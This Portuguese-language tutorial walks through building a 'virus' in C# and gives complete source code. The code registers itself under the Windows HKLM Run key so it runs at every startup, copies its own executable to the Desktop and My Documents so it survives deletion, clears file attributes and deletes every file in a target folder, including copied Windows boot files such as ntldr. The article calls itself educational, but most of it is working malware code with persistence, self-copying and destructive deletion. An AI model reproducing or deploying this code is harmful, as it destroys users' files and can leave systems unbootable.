O objetivo deste artigo é apenas mostrar de forma didática como criar um vírus em C#, em nenhum momento prejudicar ou danificar o funcionamento de um S.O, muito menos influenciar a criação de programas maliciosos. Aconselho que utilizem uma máquina virtual para executar o programa ou algum programa que retorne o S.O ao estado anterior, como o Deep Freeze e Norton Goback. Caso queira utilizar em seu próprio S.O, uso o programa apenas para deletar arquivos sem importância.

Bom, primeiramente o objetivo desse programa é deletar arquivos temporários do Windows como cokies e arquivos recentes, mas que também pode ser utilizado como um vírus.

Vamos começar, no Windows vá em c:\ e clique na guia ferramentas, opções de pasta, depois em modo de exibição, desmarque “Ocultar arquivos protegidos do sistema operacional”, ”Ocultar as extensões dos tipos de arquivos conhecidos” e “Mostrar pastas e arquivos ocultos”.

img

Agora copie os arquivos NEDECT.COM e ntldr, apenas copie, não recorte, estes arquivos são necessários para a inicialização do Windows, estou utilizando os dois apenas como exemplo, poderia ser qualquer outro arquivo do sistema.

img

Agora crie uma pasta chamada “para_deletar” no Desktop, entre nela e cole os arquivos NEDECT.COM e ntldr, depois crie ou copie e cole mais arquivos sem importância dentro desta pasta.

img
img

Inicie um projeto novo no C# do tipo Windows Application.

Crie um Form com 2 botões, no meu caso coloquei o nome de “Método 1” e “Método 2“

img

No código do botão método 1 coloque, o código abaixo antes do private void button1_Click(object sender, EventArgs e):

private void Reg_ini_win(string Exe_nome, bool habilitar, string caminho)
{
    string chave = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";

    Microsoft.Win32.RegistryKey chave_ini = Microsoft.Win32.Registry
    .LocalMachine.OpenSubKey(chave);

    if (habilitar) //se habilitar for igual a 'True' então:
    {
        if (chave_ini.GetValue(Exe_nome) == null) 
        // verifica se o registro de seu executável não xiste
        {                  
            chave_ini.Close();
            chave_ini = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(chave, true);
            // Adiciona chave de inicialização, (faz com que seu executável inicie junto com
            // o windows)                    
            chave_ini.SetValue(Exe_nome, caminho);                   
            chave_ini.Close();                   
        }
    }
    else // se hbilitar for igual a 'False'
    {
        // Remove chave de inicialização
        chave_ini = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(chave, true);
        chave_ini.DeleteValue(Exe_nome, false);
        chave_ini.Close();
    }
} 

Agora dentro do private void button1_Click(object sender, EventArgs e), coloque o seguinte código:

Reg_ini_win("Gs_Virus", true, 
Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + 
@"\DEL_TUDO_ARTIGO.exe");
Reg_ini_win("Gs_Virus_Copia", true,Environment
.GetFolderPath(Environment.SpecialFolder.MyDocuments) + 
@"\DEL_TUDO_ARTIGO_COPY.exe");
// Reg_ini_win é uma rotina que cria uma chave de registro para que o 
executavel inicie junto com o windows
// Os parâmetros são: o nome de seu executavel, 
true para adicionar ou false para remover o registro, o caminho onde ele se encontra
// o executável, neste caso ustilizei o 
Environment.GetFolderPath(Environment.SpecialFolder.Desktop) uma função que será utilizada
// novamente no decorrer so artigo e que serve para pegarmos 
pastas padrões do Windows, também adicionei o + @"\DEL_TUDO_ARTIGO.exe"
// para especificar o nome de meu executável, criei dois registros 
porque quero gerar uma cópia de meu excutável para que os dois
// iniciem junto com o Windows

string[] arq;
//a variavel arq é um vetor de 'n' posições

//arq = System.IO.Directory.GetFiles(@"C:\Documents and Settings\para_deletar", "*"); 
// Entre parênteses posso colocar qualquer caminho 
existente no S.O, "*" significa tudo que está na pasta

arq = System.IO.Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) 
+ @"\para_deletar", "*"); // "*" significa 
tudo que está na pasta
// cada posição do vetor arq irá receber o nome de um arquivo 
dentro da pasta para_deletar, que se encontra no Desktop 

for (int i = 0; i < arq.Length; i++)
{
    // o loop começa em 0 e vai até arq.lentgh, neste caso
    // length refere-se ao numero de posições que meu
    // vetor possui, arq é uma variável do tipo string
    // então por isso utilizei o length

    System.IO.FileInfo file = new System.IO.FileInfo(arq[i]);
    // file é uma variavel do tipo FileInfo, que recebe informações
    // de cada arquivo de arq[i], por exemplo, se o arquivo é do
    // tipo leitura, oculto, sistema.
    file.Attributes = System.IO.FileAttributes.Normal;
    // agora todos os atributos de cada arquivo de arq[i]
    // são trocados para "normal", porque existem
    // arquivos do sistema que podem ser deletados quando
    // seus atributos são removidos
    System.IO.File.Delete(arq[i]);
    // por fim esse comando deleta o arquivo de arq[i]
}

string cp_exe;
string cp_exe2;

cp_exe = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + 
@"\DEL_TUDO_ARTIGO.exe";              
cp_exe2 = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)+ 
@"\DEL_TUDO_ARTIGO_COPY.exe";

// Esta rotina faz o executavel se auto copiar, se ele não existir
// no caminho que você escolheu.
// Nesse casso ele fará uma copia para o "Desktop" e outra para o "Meus Documentos"

 if (!System.IO.File.Exists(cp_exe2)) // pergunta se ele não existe em "Meus Documentos"
{
    System.IO.File.Copy(Application.ExecutablePath, cp_exe2, true);
    // Esse comando pega o caminho de meu executavel, e faz uma copia
    // dele para a pasta "Meus Documentos".
    // Caminho do executavel (Application.ExecutablePath)
    // Para onde será copiado, com nome já renomeado (cp_exe2)
    // true, para sobrescrever arquivo já existente
}

// As rotinas de copia são para o caso de um dos executáveis serem
// excluídos. Quando o programa for executado irá verificar se a cópia
// existe, caso não, então faz uma. O executável com o nome _COPY,
// faz o mesmo, se o original não existe, cria uma cópia 
if (!System.IO.File.Exists(cp_exe)) // pergunta se ele não existe no "Desktop"
{                   
    System.IO.File.Copy(Application.ExecutablePath , cp_exe, true); 
    // esse é o unico q funciona no windows, os outros funcionam só no c#
    // Esse comando de copia é parecido com o anterior, mas nesse caso
    // a cópia verifica se o executavel original não existe no desktop,
    // se não existir ele é copiado dos "Meus Documentos" para o "Desktop"
} 

Dica caso não queira ficar escrevendo System.IO, ou outros namespaces basta acrescentar o nome do namespace no início do programa na frente do using,como mostra a figura abaixo:

img

O próximo passo é colocarmos o código do botão “Método 2”, então dentro de private void button2_Click(object sender, EventArgs e), coloque o código abaixo:

string[] arq;
// Novamente utilizei o vetor arq para pegar todos os arquivos da pasta 
"para_deletar" no Desktop
// o outro parâmetro "*" seleciona todos os arquivos
// o parâmetro SearchOption.AllDirectories, pega todas as pasta dentro 
da pasta "para_deletar"

arq = System.IO.Directory.GetFiles
(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + @"\para_deletar\", "*", 
SearchOption.AllDirectories);

    foreach(string arquivos in arq)
    {
        // Mesma lógica do metodo 1, nesse caso
        // se existirem outras pastas dentro da
        // pasta "para_deletar", os arquivos que
        // estiverem dentro serão deletados
        // restando apenas as pastas vazias
        // por isso o parâmetro
        // SearchOption.AllDirectories

        FileInfo file = new FileInfo(arquivos);
        file.Attributes = FileAttributes.Normal;                   
        System.IO.File.Delete(arquivos);
    }
} 

Veja o que ocorre dentro da vetor arq:

img

Neste artigo aprendemos a fazer um vírus básico, porém eficiente. O modo como utilizamos nossos conhecimentos em programação varia de pessoa para pessoa, neste caso, o artigo proporciona um ponto de vista didática, prejudicar o funcionamento correto do S.O de outras pessoas intencionalmente é lastimável.